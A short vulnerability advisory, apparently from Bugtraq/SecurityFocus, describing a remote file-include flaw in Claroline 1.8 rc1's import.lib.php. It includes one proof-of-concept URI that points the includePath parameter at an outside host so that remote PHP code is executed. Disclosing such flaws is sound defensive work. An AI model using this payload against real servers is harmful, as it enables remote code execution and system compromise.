Claroline Import.lib.PHP Remote File Include Vulnerability

Bugtraq ID:	20444
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 10 2006 12:00AM
Updated:	Oct 12 2006 04:49PM
Credit:	k1tk4t is credited with the discovery of this vulnerability.
Vulnerable:	Claroline Claroline 1.8 rc1
Not Vulnerable:

Claroline Import.lib.PHP Remote File Include Vulnerability

Claroline is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker can exploit this issue to have malicious PHP code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.8.0 rc1 is affected by this issue; other versions may also be affected.

Claroline Import.lib.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

An example proof-of-concept URI is available:

http://www.example.com/claroline/inc/lib/import.lib.php?includePath=http://www.example.com

Claroline Import.lib.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Claroline Import.lib.PHP Remote File Include Vulnerability

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